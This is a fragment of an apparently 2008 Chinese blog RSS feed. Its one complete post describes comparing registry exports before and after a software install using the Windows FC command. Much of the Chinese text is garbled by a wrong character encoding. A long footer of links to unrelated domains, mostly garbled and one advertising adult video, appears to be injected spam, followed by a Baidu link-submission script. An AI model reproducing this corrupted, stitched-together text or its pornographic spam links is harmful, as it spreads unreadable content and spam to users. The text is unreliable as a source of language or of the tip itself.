align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yglwxl/" target="_blank">九宝</a> 2008-05-05 15:04 <a href="http://www.tkk7.com/yglwxl/archive/2008/05/05/198452.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>FC命o查看安装E序旉向注册表q了些什?/title><link>http://www.tkk7.com/yglwxl/archive/2008/05/05/198449.html</link><dc:creator>九宝</dc:creator><author>九宝</author><pubDate>Mon, 05 May 2008 07:00:00 GMT</pubDate><guid>http://www.tkk7.com/yglwxl/archive/2008/05/05/198449.html</guid><wfw:comment>http://www.tkk7.com/yglwxl/comments/198449.html</wfw:comment><comments>http://www.tkk7.com/yglwxl/archive/2008/05/05/198449.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yglwxl/comments/commentRss/198449.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yglwxl/services/trackbacks/198449.html</trackback:ping><description><![CDATA[<br />     安装?a class="UBBWordLink" target="_blank">软g</a>前,打开注册表编辑器Q选择“注册?#8594;导出注册表文?#8221;Q利?#8220;全部”选项Q将l果文g保存为Before.txtQ不要用REG扩展名)。安装新<a class="UBBWordLink" target="_blank">软g</a>或进行用h跟踪的其他Q何更改后Q打开注册表编辑器Q再导出整个注册表,q一ơ将导出的文件命名ؓAfter.txt文g。接着打开MS-DOS命oH口Q{换到有那两个文本文g的目录中Q然后执行以下命令:<br /> <br />     FC Before.txt After.txt > Diff.txt<br /> <br />     关闭DOSH口Q在“C?#8221;中打开Diff.txt文gQ这里会昄在注册表所发现的所有不同之处?br /> <img src ="http://www.tkk7.com/yglwxl/aggbug/198449.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yglwxl/" target="_blank">九宝</a> 2008-05-05 15:00 <a href="http://www.tkk7.com/yglwxl/archive/2008/05/05/198449.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://www.tkk7.com/" title="亚洲av成人片在线观看">亚洲av成人片在线观看</a> <div class="friend-links"> </div> </div> </footer> վ֩ģ壺 <a href="http://zjlxblog.com" target="_blank">aëƬƵ</a>| <a href="http://c4665.com" target="_blank">ۺϼƵ</a>| <a href="http://huafagz.com" target="_blank">Ļ4</a>| <a href="http://vvbbn.com" target="_blank">ŷ˳</a>| <a href="http://chuguo65.com" target="_blank">պëƬƵ</a>| <a href="http://www-333346.com" target="_blank">޾ƷƵ߹ۿƵ</a>| <a href="http://ai-xian.com" target="_blank">˳77777վ</a>| <a href="http://jomashopcn.com" target="_blank">һ</a>| <a href="http://plladay.com" target="_blank">2021ƷƵѲ</a>| <a href="http://97aimeili.com" target="_blank">aëƬ˾þ</a>| <a href="http://yixinbanks.com" target="_blank">ɫƬվѹۿ</a>| <a href="http://dszb0099.com" target="_blank">Ļav</a>| <a href="http://haiholr.com" target="_blank">91޾Ʒ߹ۿ</a>| <a href="http://www84847.com" target="_blank">44rt</a>| <a href="http://langya2255.com" target="_blank">þ޹Ʒ123</a>| <a href="http://paweax.com" target="_blank">ҹ³˿ƬAV</a>| <a href="http://udlmw.com" target="_blank">ŷߵӰ</a>| <a href="http://13813855.com" target="_blank">޾ƷƵ</a>| <a href="http://airou08.com" target="_blank">һaȫƵ</a>| <a href="http://77663499.com" target="_blank">ĻƬ</a>| <a href="http://yzddcpj.com" target="_blank">һ˿wwwƵ </a>| <a href="http://xzgfbxg.com" target="_blank">²߾ƷƵѹۿ</a>| <a href="http://zs0451.com" target="_blank">ֻѵAVߵӰ</a>| <a href="http://sdhgjscl.com" target="_blank">޹Ʒһ</a>| <a href="http://91packing.com" target="_blank">avƬþ</a>| <a href="http://https357171.com" target="_blank">ۺͼƬС˵</a>| <a href="http://fphs666.com" target="_blank">޾Ʒ߹ۿ</a>| <a href="http://yuntuzy.com" target="_blank">þ޾ƷAV</a>| <a href="http://www48646.com" target="_blank">޹ƷߵӰ</a>| <a href="http://eigakyuka.com" target="_blank">Vþþ</a>| <a href="http://zjtuhui.com" target="_blank">һ߹ۿ</a>| <a href="http://xcdys.com" target="_blank">þþþ޾ƷĻ</a>| <a href="http://www19977.com" target="_blank">ҹƷһ߲ŷ</a>| <a href="http://sdzhly.com" target="_blank">JIZZJIZZйٸ</a>| <a href="http://doubaye.com" target="_blank">޹˾þۺһ77 </a>| <a href="http://bjlfggcm.com" target="_blank">ɫѹۿ</a>| <a href="http://k4h3.com" target="_blank">ѹۿ</a>| <a href="http://mtspvip.com" target="_blank">ƷѾþþþӰԺ</a>| <a href="http://www-3499.com" target="_blank">Ůվ91ɫ</a>| <a href="http://6711wan.com" target="_blank">ҵijdzӪѹۿ</a>| <a href="http://127ht.com" target="_blank">һ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>